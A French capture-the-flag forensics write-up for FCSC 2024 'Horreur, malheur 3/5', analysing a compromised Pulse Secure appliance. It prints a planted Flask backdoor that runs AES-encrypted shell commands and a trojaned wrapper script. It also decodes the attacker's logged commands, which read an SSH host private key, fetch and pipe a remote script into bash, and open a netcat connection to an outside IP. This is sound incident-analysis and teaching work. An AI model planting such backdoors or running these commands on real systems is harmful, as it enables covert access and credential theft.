Solution de lrstx pour Horreur, malheur 3/5 - Simple persistance

forensics

1 mai 2024

Table des matières

Solution

On revient à l’archive chiffrée de la première étape et on regarde le fichier qui ne nous a pas encore servi.

$ tar xzvf temp-scanner-archive-20240315-065846.tgz
home/bin/configencrypt
home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg

Le premier script:

#!/usr/bin/env python
import os
import subprocess
import sys

if len(sys.argv) == 3 and os.path.basename(sys.argv[2]).startswith("pulsesecure-state-"):
    with open("/data/flag.txt", "r") as handle:
        flag = handle.read().replace("\n","")
    flag = "FCSC{" + flag + "}"
    infile = sys.argv[1]
    outfile = sys.argv[2]
    command = "zip -P "+flag+" "+outfile+" "+infile+" "+"/home/VERSION" + " /data/flag.txt"
    os.system(command)
else:
    subprocess.Popen(["/home/bin/configencrypt.bak"] + sys.argv[1:])

C’est le script qui a créé l’archive. Il est déclenché seulement sur une certaine valeur de paramètre, sinon c’est le script d’origine qui est appelé.

Le deuxième fichier est un .egg, en fait une archive zip de scripts Python. On décompresse et on cherche quelques patterns, et flag matche sur le script health.py :

#
# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved
#
import base64
import subprocess
import zlib
import simplejson as json
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
from flask import request
from flask_restful import Resource


class Health(Resource):
    """
    Handles requests that are coming for client to post the application data.
    """

    def get(self):
        try:
            with open("/data/flag.txt", "r") as handle:
                dskey = handle.read().replace("\n", "")
            data = request.args.get("cmd")
            if data:
                aes = AES.new(dskey.encode(), AES.MODE_ECB)
                cmd = zlib.decompress(aes.decrypt(base64.b64decode(data)))
                result = subprocess.getoutput(cmd)
                if not isinstance(result, bytes): result = str(result).encode()
                result = base64.b64encode(aes.encrypt(pad(zlib.compress(result), 32))).decode()
                return result, 200
        except Exception as e:
            return str(e), 501

Un joli canal de communication chiffré ! Le script est déclenché par des appels à l’URL /api/v1/cav/client/health. On regarde les logs :

$ grep -r "health?cmd=" data/var/dlogs/cav_webserv.log
[pid: 22151|app: 0|req: 15645/24114] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:36:24 2024] GET /api/v1/cav/client/health?cmd=DjrB3j2wy3YJHqXccjkWidUBniQPmhTkHeiA59kIzfA%3D => generated 47 bytes in 83 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 998)
[pid: 22151|app: 0|req: 15957/24535] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:36:27 2024] GET /api/v1/cav/client/health?cmd=K/a6JKeclFNFwnqrFW/6ENBiq0BnskUVoqBf4zn3vyQ%3D => generated 175 bytes in 74 msecs (HTTP/1.1 200) 2 headers in 72 bytes (3 switches on core 998)
[pid: 22151|app: 0|req: 16618/25571] 172.18.0.4 () {32 vars in 649 bytes} [Fri Mar 15 06:36:36 2024] GET /api/v1/cav/client/health?cmd=/ppF2z0iUCf0EHGFPBpFW6pWT4v/neJ6wP6dERUuBM/6CAV2hl/l4o7KqS7TvTZAWDVxqTd6EansrCTOAnAwdQ%3D%3D => generated 91 bytes in 74 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
[pid: 22150|app: 0|req: 9307/26659] 172.18.0.4 () {32 vars in 649 bytes} [Fri Mar 15 06:36:44 2024] GET /api/v1/cav/client/health?cmd=Lmrbj2rb7SmCkLLIeBfUxTA2pkFQex/RjqoV2WSBr0EyxihrKLvkqPKO3I7KV1bhm8Y61VzkIj3tyLKLgfCdlA%3D%3D => generated 1755 bytes in 80 msecs (HTTP/1.1 200) 2 headers in 73 bytes (3 switches on core 999)
[pid: 22150|app: 0|req: 9690/27957] 172.18.0.4 () {32 vars in 821 bytes} [Fri Mar 15 06:36:54 2024] GET /api/v1/cav/client/health?cmd=yPfHKFiBi6MxfKlndP99J4eco1zxfKUhriwlanMWKE3NhhHtYkSOrj4QZhvf6u17fJ%2B74TvmsMdtYH6pnvcNZOq3JRu2hdv2Za51x82UYXG1WpYtAgCa42dOx/deHzAlZNwM7VvCZckPLfDeBGZyLHX/XP4spz4lpfau9mZZ%2B/o%3D => generated 47 bytes in 479 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 998)
[pid: 22151|app: 0|req: 19876/30291] 172.18.0.4 () {32 vars in 725 bytes} [Fri Mar 15 06:37:13 2024] GET /api/v1/cav/client/health?cmd=E1Wi18Bo5mPNTp/CaB5o018KdRfH2yOnexhwSEuxKWBx7%2Byv4YdHT3ASGAL67ozaoZeUzaId88ImfFvaPeSr6XtPvRqgrLJPl7oH2GHafzEPPplWHDPQQUfxsYQjkbhT => generated 47 bytes in 76 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
[pid: 22151|app: 0|req: 21170/32168] 172.18.0.4 () {32 vars in 825 bytes} [Fri Mar 15 06:37:28 2024] GET /api/v1/cav/client/health?cmd=7JPshdVsmVSiQWcRNKLjY1FkPBh91d2K3SUK7HrBcEJu/XbfMG9gY/pTNtVhfVS7RXpWHjLOtW01JKfmiX/hOJQ8QbfXl2htqcppn%2BXeiWHpCWr%2ByyabDservMnHxrocU4uIzWNXHef5VNVClGgV4JCjjI1lofHyrGtBD%2B0nZc8%3D => generated 47 bytes in 353 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
[pid: 22150|app: 0|req: 13730/40274] 172.18.0.4 () {32 vars in 653 bytes} [Fri Mar 15 06:37:41 2024] GET /api/v1/cav/client/health?cmd=WzAd4Ok8kSOF8e1eS6f8rdGE4sH5Ql8injexw36evBw/mHk617VRAtzEhjXwOZyR/tlQ20sgz%2BJxmwQdxnJwNg%3D%3D => generated 47 bytes in 53732 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
[pid: 22151|app: 0|req: 28123/42351] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:38:51 2024] GET /api/v1/cav/client/health?cmd=G9QtDIGXyoCA6tZC6DtLz89k5FDdQNe2TfjZ18hdPbM%3D => generated 47 bytes in 73 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 999)
[pid: 22151|app: 0|req: 29153/43658] 172.18.0.4 () {32 vars in 565 bytes} [Fri Mar 15 06:39:01 2024] GET /api/v1/cav/client/health?cmd=QV2ImqgrjrL7%2BtofpO12S9bqgDCRHYXGJwaOIihb%2BNI%3D => generated 91 bytes in 72 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 999)

Effectivement, on trouve un dialogue. On a le script qui déchiffre, et on connaît la clef depuis l’étape 1. On scripte le décodage :

0: id
1: ls /
2: echo FCSC{6cd63919125687a10d32c4c8dd87a5d0c8815409}
3: cat /data/runtime/etc/ssh/ssh_host_rsa_key
4: /home/bin/curl -k -s https://api.github.com/repos/joke-finished/2e18773e7735910db0e1ad9fc2a100a4/commits?per_page=50 -o /tmp/a
5: cat /tmp/a | grep "name" | /pkg/uniq | cut -d ":" -f 2 | cut -d '"' -f 2 | tr -d '
' | grep -o . | tac | tr -d '
'  > /tmp/b
6: a=`cat /tmp/b`;b=${a:4:32};c="https://api.github.com/gists/${b}";/home/bin/curl -k -s ${c} | grep 'raw_url' | cut -d '"' -f 4 > /tmp/c
7: c=`cat /tmp/c`;/home/bin/curl -k ${c} -s | bash
8: rm /tmp/a /tmp/b /tmp/c
9: nc 146.0.228.66:1337

Le flag est donc FCSC{6cd63919125687a10d32c4c8dd87a5d0c8815409}.

Script de décodage

#!/usr/bin/env python3

from Crypto.Cipher import AES      # python -m pip install pycryptodome
from base64 import b64decode
from Crypto.Util.Padding import unpad
from urllib.parse import unquote
import zlib

cmd = [
    'DjrB3j2wy3YJHqXccjkWidUBniQPmhTkHeiA59kIzfA%3D',
    'K/a6JKeclFNFwnqrFW/6ENBiq0BnskUVoqBf4zn3vyQ%3D',
    '/ppF2z0iUCf0EHGFPBpFW6pWT4v/neJ6wP6dERUuBM/6CAV2hl/l4o7KqS7TvTZAWDVxqTd6EansrCTOAnAwdQ%3D%3D',
    'Lmrbj2rb7SmCkLLIeBfUxTA2pkFQex/RjqoV2WSBr0EyxihrKLvkqPKO3I7KV1bhm8Y61VzkIj3tyLKLgfCdlA%3D%3D',
    'yPfHKFiBi6MxfKlndP99J4eco1zxfKUhriwlanMWKE3NhhHtYkSOrj4QZhvf6u17fJ%2B74TvmsMdtYH6pnvcNZOq3JRu2hdv2Za51x82UYXG1WpYtAgCa42dOx/deHzAlZNwM7VvCZckPLfDeBGZyLHX/XP4spz4lpfau9mZZ%2B/o%3D',
    'E1Wi18Bo5mPNTp/CaB5o018KdRfH2yOnexhwSEuxKWBx7%2Byv4YdHT3ASGAL67ozaoZeUzaId88ImfFvaPeSr6XtPvRqgrLJPl7oH2GHafzEPPplWHDPQQUfxsYQjkbhT',
    '7JPshdVsmVSiQWcRNKLjY1FkPBh91d2K3SUK7HrBcEJu/XbfMG9gY/pTNtVhfVS7RXpWHjLOtW01JKfmiX/hOJQ8QbfXl2htqcppn%2BXeiWHpCWr%2ByyabDservMnHxrocU4uIzWNXHef5VNVClGgV4JCjjI1lofHyrGtBD%2B0nZc8%3D',
    'WzAd4Ok8kSOF8e1eS6f8rdGE4sH5Ql8injexw36evBw/mHk617VRAtzEhjXwOZyR/tlQ20sgz%2BJxmwQdxnJwNg%3D%3D',
    'G9QtDIGXyoCA6tZC6DtLz89k5FDdQNe2TfjZ18hdPbM%3D',
    'QV2ImqgrjrL7%2BtofpO12S9bqgDCRHYXGJwaOIihb%2BNI%3D',
]

dskey = '50c53be3eece1dd551bebffe0dd5535c'

def decrypt(cmd):
    aes = AES.new(dskey.encode(), AES.MODE_ECB)
    cmd = unquote(cmd)
    cmd = b64decode(cmd)
    cmd = aes.decrypt(cmd)
    cmd = unpad(cmd, 32)
    cmd = zlib.decompress(cmd)
    cmd = cmd.decode('utf-8')
    return cmd

for i, c in enumerate(cmd):
    print(f'{i}: {decrypt(c)}')